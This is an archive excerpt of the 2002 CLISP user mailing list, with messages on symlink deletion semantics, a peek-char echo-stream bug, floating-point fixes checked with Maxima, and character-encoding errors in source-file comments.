usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1802z2-00014E-00 for ; Fri, 11 Oct 2002 09:49:52 -0700 Received: by dyn164.dbdmedia.de (Postfix, from userid 1000) id 29C3B26055B; Fri, 11 Oct 2002 18:49:45 +0200 (CEST) To: Cc: sds@gnu.org, marcoxa@cs.nyu.edu, ampy@ich.dvo.ru, clisp-list@sourceforge.net Subject: Re: [clisp-list] DELETE-FILE & TRUENAME References: <1531666676.20021011214129@ich.dvo.ru> <200210111507.g9BF7mu01489@bioinformatics.cims.nyu.edu> <20021011163217.3931F8D446@thalassa.informatimago.com> From: Edi Weitz In-Reply-To: <20021011163217.3931F8D446@thalassa.informatimago.com> Message-ID: <87wuooc446.fsf@dyn164.dbdmedia.de> Lines: 25 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 11 09:50:05 2002 X-Original-Date: 11 Oct 2002 18:49:45 +0200 Pascal Bourguignon writes: > > From: Sam Steingold > > Date: 11 Oct 2002 12:00:11 -0400 > > > > > * In message <200210111507.g9BF7mu01489@bioinformatics.cims.nyu.edu> > > > * On the subject of "Re: [clisp-list] DELETE-FILE & TRUENAME" > > > * Sent on Fri, 11 Oct 2002 11:07:48 -0400 > > > * Honorable Marco Antoniotti writes: > > > > > > > > I think it is better to remove the symlink. (the current > > > > > behavior is always available with (DELETE-FILE (TRUENAME x))). > > > > > Is there a consensus among other implementors about what to do in > > > this case? > > > > CMUCL removed the symlink, not the target. > > emacs too. > > > can someone try LW and ACL? LW 4.2.7, ACL 6.2, and SBCL 0.7.6 on Linux all removed the symlink. Edi. From lisp-clisp-list@m.gmane.org Fri Oct 11 11:30:52 2002 Received: from main.gmane.org ([80.91.224.249]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 1804Yk-00079C-00 for ; Fri, 11 Oct 2002 11:30:50 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1804Y2-0001us-00 for ; Fri, 11 Oct 2002 20:30:06 +0200 To: clisp-list@lists.sourceforge.net X-Injected-Via-Gmane: http://gmane.org/ Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1804HL-0000dK-00 for ; Fri, 11 Oct 2002 20:12:51 +0200 Path: not-for-mail From: Barry Wilkes Organization: Not Really Lines: 25 Message-ID: <87fzvcg7xw.fsf@orton.bew.org.uk> NNTP-Posting-Host: pc-62-30-156-59-hw.blueyonder.co.uk Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Trace: main.gmane.org 1034359971 30727 62.30.156.59 (11 Oct 2002 18:12:51 GMT) X-Complaints-To: usenet@main.gmane.org NNTP-Posting-Date: Fri, 11 Oct 2002 18:12:51 +0000 (UTC) Mail-Copies-To: never User-Agent: Gnus/5.0808 (Gnus v5.8.8) XEmacs/21.4 (Honest Recruiter) Subject: [clisp-list] Bug in peek-char (clisp 2.27) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 11 11:31:10 2002 X-Original-Date: 11 Oct 2002 19:13:31 +0100 I have observed the following behaviour in clisp : [54]> (with-output-to-string (out) (peek-char #\] (make-echo-stream (make-string-input-stream "ab cd e df s]") out))) "ab cd e df s]" [55]> This is not what I would expect to happen. From the Hyperspec documentation for peek-char: "When input-stream is an echo stream, characters that are only peeked at are not echoed. In the case that peek-type is not nil, the characters that are passed by peek-char are treated as if by read-char, and so are echoed unless they have been marked otherwise by unread-char." It would appear from the above that clisp does echo characters which are only peeked at. Regards, Barry. From sds@gnu.org Fri Oct 11 12:52:45 2002 Received: from pool-151-203-41-208.bos.east.verizon.net ([151.203.41.208] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1805q1-0002BR-00 for ; Fri, 11 Oct 2002 12:52:45 -0700 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id g9BJrKjD003227 for ; Fri, 11 Oct 2002 15:53:20 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id g9BJrHR7003223; Fri, 11 Oct 2002 15:53:17 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Bug in peek-char (clisp 2.27) References: <87fzvcg7xw.fsf@orton.bew.org.uk> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <87fzvcg7xw.fsf@orton.bew.org.uk> Message-ID: Lines: 35 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Fri Oct 11 12:53:05 2002 X-Original-Date: 11 Oct 2002 15:53:17 -0400 > * In message <87fzvcg7xw.fsf@orton.bew.org.uk> > * On the subject of "[clisp-list] Bug in peek-char (clisp 2.27)" > * Sent on 11 Oct 2002 19:13:31 +0100 > * Honorable Barry Wilkes writes: > > I have observed the following behaviour in clisp : > > [54]> (with-output-to-string (out) > (peek-char #\] (make-echo-stream > (make-string-input-stream "ab cd e df s]") out))) > "ab cd e df s]" > [55]> > > This is not what I would expect to happen. From the Hyperspec documentation > for peek-char: > > "When input-stream is an echo stream, characters that are only peeked at > are not echoed. In the case that peek-type is not nil, the characters that > are passed by peek-char are treated as if by read-char, and so are echoed > unless they have been marked otherwise by unread-char." > > It would appear from the above that clisp does echo characters which > are only peeked at. Indeed. (LWL and ACL are correct while CMUCL is even worse than CLISP - it is wrong even when peek-type is nil). I just fixed this bug in the CVS. Thanks. -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Your mouse pad is incompatible with MS Windows - your HD will be reformatted. From vvzhy@mail.ru Sat Oct 12 11:10:44 2002 Received: from mx7.mail.ru ([194.67.57.17]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 180Qio-0004R8-00 for ; Sat, 12 Oct 2002 11:10:42 -0700 Received: from drweb by mx7.mail.ru with drweb-scanned (Exim MX.7) id 180Qii-000Jby-00; Sat, 12 Oct 2002 22:10:36 +0400 Received: from [213.247.176.34] (helo=mail.ru) by mx7.mail.ru with esmtp (Exim SMTP.7) id 180Qih-000JZk-00; Sat, 12 Oct 2002 22:10:35 +0400 Message-ID: <3DA873A2.7070002@mail.ru> From: "Vadim V. Zhytnikov" User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru-RU; rv:1.0.0) Gecko/20020526 X-Accept-Language: ru, en MIME-Version: 1.0 To: sds@gnu.org, clisp-list@lists.sourceforge.net, Maxima List Subject: Re: [clisp-list] floating point problems with clisp 2.30 References: <3DA00366.3010104@mail.ru> <3DA094CE.3060307@mail.ru> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Envelope-To: sds@gnu.org, clisp-list@lists.sourceforge.net, maxima@www.ma.utexas.edu Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Oct 12 11:11:05 2002 X-Original-Date: Sat, 12 Oct 2002 22:10:26 +0300 Sam Steingold ?????: >>* In message <3DA094CE.3060307@mail.ru> >>* On the subject of "Re: [clisp-list] floating point problems with clisp 2.30" >>* Sent on Sun, 06 Oct 2002 22:53:50 +0300 >>* Honorable "Vadim V. Zhytnikov" writes: >> >>Unfortunately this doesn't explain wrong numeric values which I get >>for some special functions in Maxima with clisp 2.30 since the value >>above is correct. > > > I fixed in the CVS all bugs you have reported so far. > please get the CLISP CVS HEAD and check that everything is OK. > Thanks. > Today's CLISP CVS works fine and passes all tests with Maxima CVS. Thank you! -- Vadim V. Zhytnikov From lisp-clisp-list@m.gmane.org Sat Oct 12 19:59:04 2002 Received: from main.gmane.org ([80.91.224.249]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 180Yy6-000574-00 for ; Sat, 12 Oct 2002 19:59:02 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 180YxH-0007OI-00 for ; Sun, 13 Oct 2002 04:58:11 +0200 To: clisp-list@lists.sourceforge.net X-Injected-Via-Gmane: http://gmane.org/ Received: from news by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 180YxG-0007O9-00 for ; Sun, 13 Oct 2002 04:58:10 +0200 Path: not-for-mail From: Sam Steingold Organization: disorganization Lines: 32 Message-ID: References: <3DA00366.3010104@mail.ru> <3DA094CE.3060307@mail.ru> <3DA873A2.7070002@mail.ru> Reply-To: sds@gnu.org NNTP-Posting-Host: pool-151-203-41-208.bos.east.verizon.net Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Trace: main.gmane.org 1034477890 26827 151.203.41.208 (13 Oct 2002 02:58:10 GMT) X-Complaints-To: usenet@main.gmane.org NNTP-Posting-Date: Sun, 13 Oct 2002 02:58:10 +0000 (UTC) X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Cc: maxima@www.math.utexas.edu Subject: [clisp-list] Re: floating point problems with clisp 2.30 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Oct 12 20:00:02 2002 X-Original-Date: 12 Oct 2002 23:00:01 -0400 > * In message <3DA873A2.7070002@mail.ru> > * On the subject of "Re: floating point problems with clisp 2.30" > * Sent on Sat, 12 Oct 2002 22:10:26 +0300 > * Honorable "Vadim V. Zhytnikov" writes: > > Sam Steingold ?????: > >>* In message <3DA094CE.3060307@mail.ru> > >>* On the subject of "Re: [clisp-list] floating point problems with clisp 2.30" > >>* Sent on Sun, 06 Oct 2002 22:53:50 +0300 > >>* Honorable "Vadim V. Zhytnikov" writes: > >> > >>Unfortunately this doesn't explain wrong numeric values which I get > >>for some special functions in Maxima with clisp 2.30 since the value > >>above is correct. > > I fixed in the CVS all bugs you have reported so far. > > please get the CLISP CVS HEAD and check that everything is OK. > > Today's CLISP CVS works fine and passes all > tests with Maxima CVS. what about the case when some function was given a DOUBLE-FLOAT and returned a SINGLE-FLOAT (or a SHORT-FLOAT)? could you please re-check that this problem is gone too? thanks! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux Isn't "Microsoft Works" an advertisement lie? From kaufmann@cs.utexas.edu Sat Oct 12 20:11:53 2002 Received: from mail.cs.utexas.edu ([128.83.139.10]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 180ZAW-00060g-00 for ; Sat, 12 Oct 2002 20:11:52 -0700 Received: from tantallon.cs.utexas.edu (kaufmann@tantallon.cs.utexas.edu [128.83.120.86]) by mail.cs.utexas.edu (8.12.3/8.12.3) with ESMTP id g9D3BhKT025721; Sat, 12 Oct 2002 22:11:43 -0500 (CDT) Received: (from kaufmann@localhost) by tantallon.cs.utexas.edu (8.12.3/8.12.3/Submit) id g9D3BhDl023154; Sat, 12 Oct 2002 22:11:43 -0500 (CDT) Message-Id: <200210130311.g9D3BhDl023154@tantallon.cs.utexas.edu> From: Matt Kaufmann To: clisp-list@lists.sourceforge.net CC: moore@cs.utexas.edu Subject: [clisp-list] special characters in comments Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sat Oct 12 20:12:06 2002 X-Original-Date: Sat, 12 Oct 2002 22:11:43 -0500 (CDT) Hi -- I've been testing a Lisp application, ACL2, built on CLISP 2.30. (The home page for ACL2 is http://www.cs.utexas.edu/users/moore/acl2). Several input (.lisp) files supplied to me by ACL2 users have caused problems because of the use of special characters in comments, as evidenced by these error messages: *** - invalid byte #xAB in CHARSET:ASCII conversion *** - invalid byte #xB7 in CHARSET:ASCII conversion *** - invalid byte #xED in CHARSET:ASCII conversion *** - invalid byte #xF3 in CHARSET:ASCII conversion *** - invalid byte #xF1 in CHARSET:ASCII conversion In all these cases, the characters were to the right of a semicolon on their lines. Shouldn't one be able to put any character desired between a semi-colon (on the left) and a newline (on the right)? By the way, on the positive side, CLISP found a bug that other Lisps (GCL, Allegro CL, CMU CL) had missed (use of ",@" on an atom). Thanks -- -- Matt Kaufmann From sds@gnu.org Sun Oct 13 07:31:28 2002 Received: from pool-151-203-41-208.bos.east.verizon.net ([151.203.41.208] helo=loiso.podval.org) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 180jmB-0004UY-00 for ; Sun, 13 Oct 2002 07:31:28 -0700 Received: from loiso.podval.org (loiso [127.0.0.1]) by loiso.podval.org (8.12.5/8.12.5) with ESMTP id g9DEWRjD022804; Sun, 13 Oct 2002 10:32:27 -0400 Received: (from sds@localhost) by loiso.podval.org (8.12.5/8.12.5/Submit) id g9DEWQvn022800; Sun, 13 Oct 2002 10:32:26 -0400 X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f To: Matt Kaufmann Cc: clisp-list@lists.sourceforge.net, moore@cs.utexas.edu Subject: Re: [clisp-list] special characters in comments References: <200210130311.g9D3BhDl023154@tantallon.cs.utexas.edu> Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200210130311.g9D3BhDl023154@tantallon.cs.utexas.edu> Message-ID: Lines: 31 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Oct 13 07:32:02 2002 X-Original-Date: 13 Oct 2002 10:32:26 -0400 > * In message <200210130311.g9D3BhDl023154@tantallon.cs.utexas.edu> > * On the subject of "[clisp-list] special characters in comments" > * Sent on Sat, 12 Oct 2002 22:11:43 -0500 (CDT) > * Honorable Matt Kaufmann writes: > > I've been testing a Lisp application, ACL2, built on CLISP 2.30. (The home > page for ACL2 is http://www.cs.utexas.edu/users/moore/acl2). Several input > (.lisp) files supplied to me by ACL2 users have caused problems because of the > use of special characters in comments, as evidenced by these error messages: > > *** - invalid byte #xAB in CHARSET:ASCII conversion > *** - invalid byte #xB7 in CHARSET:ASCII conversion > *** - invalid byte #xED in CHARSET:ASCII conversion > *** - invalid byte #xF3 in CHARSET:ASCII conversion > *** - invalid byte #xF1 in CHARSET:ASCII conversion "-E utf-8" or an explicit :EXTERNAL-FORMAT argument to OPEN and LOAD are your friends. > By the way, on the positive side, CLISP found a bug that other Lisps > (GCL, Allegro CL, CMU CL) had missed (use of ",@" on an atom). great! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux char*a="char*a=%c%s%c;main(){printf(a,34,a,34);}";main(){printf(a,34,a,34);} From kaufmann@cs.utexas.edu Sun Oct 13 21:09:46 2002 Received: from mail.cs.utexas.edu ([128.83.139.10]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 180wY4-0008Ht-00 for ; Sun, 13 Oct 2002 21:09:44 -0700 Received: from tantallon.cs.utexas.edu (kaufmann@tantallon.cs.utexas.edu [128.83.120.86]) by mail.cs.utexas.edu (8.12.3/8.12.3) with ESMTP id g9E49cKT008000; Sun, 13 Oct 2002 23:09:38 -0500 (CDT) Received: (from kaufmann@localhost) by tantallon.cs.utexas.edu (8.12.3/8.12.3/Submit) id g9E49bCE026538; Sun, 13 Oct 2002 23:09:37 -0500 (CDT) Message-Id: <200210140409.g9E49bCE026538@tantallon.cs.utexas.edu> From: Matt Kaufmann To: sds@gnu.org CC: clisp-list@lists.sourceforge.net, moore@cs.utexas.edu In-reply-to: (message from Sam Steingold on 13 Oct 2002 10:32:26 -0400) Subject: Re: [clisp-list] special characters in comments References: <200210130311.g9D3BhDl023154@tantallon.cs.utexas.edu> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Oct 13 21:10:07 2002 X-Original-Date: Sun, 13 Oct 2002 23:09:37 -0500 (CDT) Thank you for the quick reply. So, I've added the following to the ACL2 sources (the check for unicode is necessary because charset:utf-8 was introduced after CLISP 2.27): #+(and clisp unicode) (setq custom:*default-file-encoding* charset:utf-8) This eliminated problems with two of the characters (#xAB and #xB7), but some characters used in comments still cause errors: *** - invalid byte sequence #xED #x74 #x75 in CHARSET:UTF-8 conversion *** - invalid byte sequence #xF1 #x61 #x74 #x69 in CHARSET:UTF-8 conversion *** - invalid byte sequence #xF3 #x20 #x61 #x2F in CHARSET:UTF-8 conversion By the way, I tried the FAQ page but didn't find the link to #enc-err. Upon investigation I noticed the following line in :

invalid byte #x94 in CHARSET:ASCII conversion

I'm running Netscape 4.79 under Redhat Linux 7.3, and that browser does not seem to recognize this tag. Probably "id=" could be changed to "name=" to fix this problem, but I'm no expert on web stuff so if this seems wrong, just ignore that suggestion. Thanks -- -- Matt X-Authentication-Warning: loiso.podval.org: sds set sender to sds@gnu.org using -f Cc: clisp-list@lists.sourceforge.net, moore@cs.utexas.edu Reply-To: sds@gnu.org Mail-Copies-To: never From: Sam Steingold Date: 13 Oct 2002 10:32:26 -0400 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Content-Type: text/plain; charset=us-ascii > * In message <200210130311.g9D3BhDl023154@tantallon.cs.utexas.edu> > * On the subject of "[clisp-list] special characters in comments" > * Sent on Sat, 12 Oct 2002 22:11:43 -0500 (CDT) > * Honorable Matt Kaufmann writes: > > I've been testing a Lisp application, ACL2, built on CLISP 2.30. (The home > page for ACL2 is http://www.cs.utexas.edu/users/moore/acl2). Several input > (.lisp) files supplied to me by ACL2 users have caused problems because of the > use of special characters in comments, as evidenced by these error messages: > > *** - invalid byte #xAB in CHARSET:ASCII conversion > *** - invalid byte #xB7 in CHARSET:ASCII conversion > *** - invalid byte #xED in CHARSET:ASCII conversion > *** - invalid byte #xF3 in CHARSET:ASCII conversion > *** - invalid byte #xF1 in CHARSET:ASCII conversion "-E utf-8" or an explicit :EXTERNAL-FORMAT argument to OPEN and LOAD are your friends. > By the way, on the positive side, CLISP found a bug that other Lisps > (GCL, Allegro CL, CMU CL) had missed (use of ",@" on an atom). great! -- Sam Steingold (http://www.podval.org/~sds) running RedHat7.3 GNU/Linux char*a="char*a=%c%s%c;main(){printf(a,34,a,34);}";main(){printf(a,34,a,34);} From lists@consulting.net.nz Sun Oct 13 23:19:42 2002 Received: from ip210-55-214-178.ip.win.co.nz ([210.55.214.178] helo=fire) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 180yZn-0001tj-00 for ; Sun, 13 Oct 2002 23:19:40 -0700 Received: from other ([210.55.214.182] helo=localhost.localdomain) by fire with esmtp (Exim 3.35 #1 (Debian)) id 180yZQ-0001FF-00; Mon, 14 Oct 2002 19:19:31 +1300 Subject: Re: [clisp-list] special characters in comments From: Adam Warner To: Matt Kaufmann Cc: clisp-list@lists.sourceforge.net In-Reply-To: <200210140409.g9E49bCE026538@tantallon.cs.utexas.edu> References: <200210130311.g9D3BhDl023154@tantallon.cs.utexas.edu> <200210140409.g9E49bCE026538@tantallon.cs.utexas.edu> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Message-Id: <1034576356.6303.7.camel@work> Mime-Version: 1.0 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Oct 13 23:20:06 2002 X-Original-Date: 14 Oct 2002 19:19:16 +1300 On Mon, 2002-10-14 at 17:09, Matt Kaufmann wrote: > Thank you for the quick reply. So, I've added the following to the ACL2 > sources (the check for unicode is necessary because charset:utf-8 was > introduced after CLISP 2.27): > > #+(and clisp unicode) (setq custom:*default-file-encoding* charset:utf-8) > > This eliminated problems with two of the characters (#xAB and #xB7), but some > characters used in comments still cause errors: > > *** - invalid byte sequence #xED #x74 #x75 in CHARSET:UTF-8 conversion > *** - invalid byte sequence #xF1 #x61 #x74 #x69 in CHARSET:UTF-8 conversion > *** - invalid byte sequence #xF3 #x20 #x61 #x2F in CHARSET:UTF-8 conversion If you use a faithfully reproducing character set it will be impossible to use invalid characters in comments. I suggest you try iso-8859-1 decoding instead of utf-8. You can read about faithful output here: http://cl-cookbook.sourceforge.net/io.html Longer term you may wish to convert the code to utf-8 encoding so you can use that instead of an 8-bit character set. Regards, Adam From kaufmann@cs.utexas.edu Mon Oct 14 06:44:52 2002 Received: from mail.cs.utexas.edu ([128.83.139.10]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1815VB-0000zF-00 for ; Mon, 14 Oct 2002 06:43:21 -0700 Received: from tantallon.cs.utexas.edu (kaufmann@tantallon.cs.utexas.edu [128.83.120.86]) by mail.cs.utexas.edu (8.12.3/8.12.3) with ESMTP id g9EDfiKT004333; Mon, 14 Oct 2002 08:41:44 -0500 (CDT) Received: (from kaufmann@localhost) by tantallon.cs.utexas.edu (8.12.3/8.12.3/Submit) id g9EDfi5k027908; Mon, 14 Oct 2002 08:41:44 -0500 (CDT) Message-Id: <200210141341.g9EDfi5k027908@tantallon.cs.utexas.edu> From: Matt Kaufmann To: lists@consulting.net.nz CC: clisp-list@lists.sourceforge.net In-reply-to: <1034576356.6303.7.camel@work> (message from Adam Warner on 14 Oct 2002 19:19:16 +1300) Subject: Re: [clisp-list] special characters in comments References: <200210130311.g9D3BhDl023154@tantallon.cs.utexas.edu> <200210140409.g9E49bCE026538@tantallon.cs.utexas.edu> <1034576356.6303.7.camel@work> Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 14 06:45:04 2002 X-Original-Date: Mon, 14 Oct 2002 08:41:44 -0500 (CDT) Thanks, but changing to iso-8859-1 encoding didn't seem to help: [1]> custom:*default-file-encoding* # [2]> ; ó *** - invalid byte #xF3 in CHARSET:ASCII conversion 1. Break [3]> :a [4]> (setq custom:*default-file-encoding* charset:iso-8859-1) # [5]> ; ó *** - invalid byte #xF3 in CHARSET:ASCII conversion 1. Break [6]> The vast majority of my problems were with the two characters that are handled by utf-8. I've changed the user-contributed files that use the other three, so this isn't any longer an issue for me, anyhow. Thanks for the responses. -- Matt K. From: Adam Warner Cc: clisp-list@lists.sourceforge.net Content-Type: text/plain Date: 14 Oct 2002 19:19:16 +1300 On Mon, 2002-10-14 at 17:09, Matt Kaufmann wrote: > Thank you for the quick reply. So, I've added the following to the ACL2 > sources (the check for unicode is necessary because charset:utf-8 was > introduced after CLISP 2.27): > > #+(and clisp unicode) (setq custom:*default-file-encoding* charset:utf-8) > > This eliminated problems with two of the characters (#xAB and #xB7), but some > characters used in comments still cause errors: > > *** - invalid byte sequence #xED #x74 #x75 in CHARSET:UTF-8 conversion > *** - invalid byte sequence #xF1 #x61 #x74 #x69 in CHARSET:UTF-8 conversion > *** - invalid byte sequence #xF3 #x20 #x61 #x2F in CHARSET:UTF-8 conversion If you use a faithfully reproducing character set it will be impossible to use invalid characters in comments. I suggest you try iso-8859-1 decoding instead of utf-8. You can read about faithful output here: http://cl-cookbook.sourceforge.net/io.html Longer term you may wish to convert the code to utf-8 encoding so you can use that instead of an 8-bit character set. Regards, Adam From kaufmann@cs.utexas.edu Mon Oct 14 07:05:41 2002 Received: from mail.cs.utexas.edu ([128.83.139.10]) by usw-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1815pK-0006Xm-00 for ; Mon, 14 Oct 2002 07:04:10 -0700 Received: from tantallon.cs.utexas.edu (kaufmann@tantallon.cs.utexas.edu [128.83.120.86]) by mail.cs.utexas.edu (8.12.3/8.12.3) with ESMTP id g9EE2ZKT006095; Mon, 14 Oct 2002 09:02:36 -0500 (CDT) Received: (from kaufmann@localhost) by tantallon.cs.utexas.edu (8.12.3/8.12.3/Submit) id g9EE2ZtR027978; Mon, 14 Oct 2002 09:02:35 -0500 (CDT) Message-Id: <200210141402.g9EE2ZtR027978@tantallon.cs.utexas.edu> From: Matt Kaufmann To: lists@consulting.net.nz CC: clisp-list@lists.sourceforge.net Subject: [kaufmann@cs.utexas.edu: Re: [clisp-list] special characters in comments] Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Oct 14 07:06:05 2002 X-Original-Date: Mon, 14 Oct 2002 09:02:35 -0500 (CDT) My apologies -- in fact your suggestion of using iso-8859-1 DOES work. Apparently changing custom:*default-file-encoding* does not affect the existing standard input stream; but I can now load a file with character 243 in a comment. Thanks -- -- Matt K. ------- Start of forwarded message ------- Date: Mon, 14 Oct 2002 08:41:44 -0500 From: Matt Kaufmann To: lists@consulting.net.nz CC: clisp-list@lists.sourceforge.net In-reply-to: <1034576356.6303.7.camel@work> (message from Adam Warner on 14 Oct 2002 19:19:16 +1300) Subject: Re: [clisp-list] special characters in comments Thanks, but changing to iso-8859-1 encoding didn't seem to help: [1]> custom:*default-file-encoding* # [2]> ; ó *** - invalid byte #xF3 in CHARSET:ASCII conversion 1. Break [3]> :a [4]> (setq custom:*default-file-encoding* charset:iso-8859-1) # [5]> ; ó *** - invalid byte #xF3 in CHARSET:ASCII conversion 1. Break [6]> The vast majority of my problems were with the two characters that are handled by utf-8. I've changed the user-contributed files that use the other three, so this isn't any longer an issue for me, anyhow. Thanks for the responses. - -- Matt K. From: Adam Warner Cc: clisp-list@lists.sourceforge.net Content-Type: text/plain Date: 14 Oct 2002 19:19:16 +1300 On Mon, 2002-10-14 at 17:09, Matt Kaufmann wrote: > Thank you for the quick reply. So, I've added the following to the ACL2 > sources (the check for unicode is necessary because charset:utf-8 was > introduced after CLISP 2.27): > > #+(and clisp unicode) (setq custom:*default-file-encoding* charset:utf-8) > > This eliminated problems with two of the characters (#xAB and #xB7), but some > characters used in comments still cause errors: > > *** - invalid byte sequence #xED #x74 #x75 in CHARSET:UTF-8 conversion > *** - invalid byte sequence #xF1 #x61 #x74 #x69 in CHARSET:UTF-8 conversion > *** - invalid byte sequence #xF3 #x20 #x61 #x2F in CHARSET:UTF-8 conversion If you use a faithfully reproducing character set it will be impossible to use invalid characters in comments. I suggest you try iso-8859-1 decoding instead of utf-8. You can read about faithful output here: http://cl-cookbook.sourceforge.net/io.html Longer term you may wish to convert the code to utf-8 encoding so you can use that instead of an 8-bit character set. Regards, Adam ------- End of forwarded message ------- From vvzhy@mail.ru Mon Oct 14 12:57:41 2002 Received: from mx3.mail.ru ([194.67.57.13]) by usw-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 181BLP-0000xP-00 for ; Mon, 14 Oct 2002 12:57:40 -0700 Received: from drweb by 